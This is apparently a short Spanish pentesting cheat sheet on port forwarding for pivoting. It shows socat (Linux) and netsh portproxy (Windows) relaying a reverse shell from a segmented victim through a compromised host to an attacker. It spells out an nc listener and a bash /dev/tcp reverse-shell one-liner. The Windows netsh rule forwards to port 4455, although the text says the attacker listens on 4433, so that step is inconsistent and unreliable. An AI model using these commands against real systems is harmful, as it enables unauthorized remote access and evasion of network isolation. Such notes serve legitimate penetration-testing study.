Port Forwarding

Socat (Linux)

Si necesitamos reenviar el trafico que llega a un puerto hacia otra máquina con la que tengamos conexión, podemos usar socat:

Tenemos dos máquina victimas Linux y la nuestra de atacante, queremos obtener una reverse shell desde Victima2 a Atacante, pero Victima2 solo tiene conexión con Victima1, para eso usamos el redireccionamiento de puertos.

En Victima1 levantamos socat indicando:

socat TCP-LISTEN:4455,fork TCP:192.168.20.4:4433

Le estamos indicando que toda conexión que llegue contra el puerto 4455 sea redirigido hacia el puerto 4433 de la dirección 192.168.20.4 (Atacante), levantemos ese puerto:

nc -lvp 4433

Y enviamos la shell desde Victima2 a Victima1:

bash -c 'bash -i >& /dev/tcp/172.18.100.16/4455 0>&1'

Listos.

Netsh (Windows)

Imagina el mismo escenario de arriba, pero ahora Victima1 esta corriendo el sistema operativo Windows, basicamente es lo mismo, solo que en lugar de socat usamos netsh:

netsh interface portproxy add v4tov4 listenaddress=172.18.100.16 listenport=4455 connectaddress=192.168.20.4 connectport=4455

Pueda que el comando no genere ningún output y pareciera que no se ejecutó, pero podemos validar la conexión ejecutando:

netsh interface portproxy show v4tov4

Y listones, nos pondriamos en escucha desde Atacante por el puerto 4433 y luego, desde Victima2 enviariamos la conexión con una reverse shell hacia Victima1 por el puerto 4455.

Last updated